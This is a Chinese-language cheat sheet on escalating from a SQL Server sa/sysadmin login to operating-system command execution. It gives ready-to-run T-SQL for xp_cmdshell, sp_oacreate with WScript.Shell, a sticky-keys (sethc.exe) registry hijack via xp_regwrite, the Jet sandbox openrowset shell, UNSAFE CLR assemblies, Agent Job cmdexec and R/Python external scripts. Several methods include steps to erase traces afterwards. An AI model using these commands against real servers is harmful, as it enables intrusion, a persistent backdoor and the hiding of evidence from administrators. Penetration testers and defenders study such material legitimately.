一、基础概念与前提
1. 核心前提
-
服务器已开启 SQL Server 服务并允许外联
-
拥有高权限账号(如
sa,对应sysadmin角色,为最高权限) -
数据库未被降权(部分版本默认降权为
mssql用户,可能限制操作)
2. 权限判定
-
sysadmin(DBA 权限):最高权限,可执行任意操作 判定命令:
select IS_SRVROLEMEMBER('sysadmin');(返回 1 表示拥有) -
db_owner(dbo 权限):数据库所有者,可执行数据库内大部分操作 判定命令:
select IS_SRVROLEMEMBER('db_owner'); -
public 角色:默认角色,权限最低 判定命令:
select IS_SRVROLEMEMBER('public');
二、提权方法
1. xp_cmdshell 提权
-
原理:通过扩展存储过程直接执行系统命令,返回执行结果
-
适用版本:2000 默认开启,2005 及以上默认禁用
-
操作步骤:
-
启用组件(需 sa 权限):
1
2
3
4
5use master;
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure 'xp_cmdshell', 1;
RECONFIGURE; -
执行命令:
1
exec master..xp_cmdshell "whoami";
-
关闭组件(清理痕迹):
1
2exec sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
-
-
恢复方法:若组件被删除,可通过 DLL 恢复:
1
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';
2. sp_oacreate 提权
-
原理:调用
WScript.Shell等 OLE 对象,通过sp_oamethod执行系统命令 -
特点:无回显,需将结果写入文件后读取
-
操作步骤:
-
启用组件:
1
2
3
4exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE; -
执行命令(例:添加用户并写入结果):
1
2
3
4
5
6declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;
-
3. xp_regwrite 提权
-
原理:修改 Windows 注册表(如添加启动项、映像劫持)实现提权
-
典型场景:劫持粘滞键(sethc.exe),替换为 cmd.exe
-
操作示例:
1
2
3
4
5
6
7-- 劫持粘滞键
exec master..xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File execution Options\sethc.EXE',
@value_name='Debugger',
@type='REG_SZ',
@value='c:\windows\system32\cmd.exe'; -
验证劫持:
1
exec master..xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File execution Options\sethc.exe', 'Debugger';
4. 沙盒提权
-
原理:利用 Access 沙盒机制,通过
openrowset调用 mdb 文件执行命令 -
适用条件:32 位系统、存在
jet.oledb.4.0驱动、sa 权限 -
操作步骤:
-
开启分布式查询:
1
2
3
4exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries', 1;
reconfigure; -
关闭沙盒模式(修改注册表):
1
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
-
配置 OLE DB 提供程序属性(适配不同 SQL Server 版本 )
1
2
3
4
5
6
7-- Until SQL Server 2012
EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1
-- SQL Server 2014 or later
EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1 -
执行系统命令:
1
2Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb',
'select shell("whoami")'); -
恢复配置
1
2
3exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;
reconfigure;
-
5. CLR 提权
-
原理:利用 SQL Server 与 .NET CLR 的集成,通过自定义存储过程执行命令
-
适用版本:2005 及以上
-
操作步骤:
-
开启 CLR 集成:
1
2
3
4
5exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure 'clr enabled', 1;
RECONFIGURE;
ALTER DATABASE master SET TRUSTWORTHY ON; -- 标记数据库为可信任 -
注册自定义 DLL(含命令执行代码):
1
CREATE ASSEMBLY [MyAssembly] FROM 'C:\path\to\your.dll' WITH PERMISSION_SET = UNSAFE;
-
创建并执行存储过程:
1
2
3CREATE PROCEDURE sp_cmdexec @Command nvarchar(4000)
AS EXTERNAL NAME [MyAssembly].[StoredProcedures].[Cmdexec];
exec sp_cmdexec 'whoami'; -- 执行命令 -
清理痕迹:
1
2DROP PROCEDURE sp_cmdexec;
DROP ASSEMBLY [MyAssembly];
-
6. Agent Job 提权
-
原理:通过 SQL Server 代理(SQLSERVERAGENT)创建计划任务执行命令
-
操作步骤:
-
启动代理服务:
1
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';
-
创建任务并执行命令(例:写入结果到文件):
1
2
3
4
5
6use msdb;
exec sp_delete_job null, 'test'; -- 删除同名任务(若存在)
exec sp_add_job 'test';
exec sp_add_jobstep null, 'test', null, '1', 'cmdexec', 'cmd /c "whoami > D:\result.txt"';
exec sp_add_jobserver null, 'test', @@servername;
exec sp_start_job 'test'; -- 启动任务 -
读取结果:
1
2bulk insert readfile from 'D:\result.txt';
select * from readfile;
-
7. 脚本执行提权(R/Python)
-
原理:利用 SQL Server 2017+ 的机器学习服务,通过外部脚本执行命令
-
操作步骤:
-
开启外部脚本权限:
1
2exec sp_configure 'external scripts enabled', 1;
RECONFIGURE; -
执行 R 脚本:
1
2
3
4exec sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir", intern=T))'
WITH RESULT SETS (([cmd_out] text)); -
执行 Python 脚本:
1
2
3
4
5
6
7exec sp_execute_external_script
@language=N'Python',
@script=N'
import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])
';
-






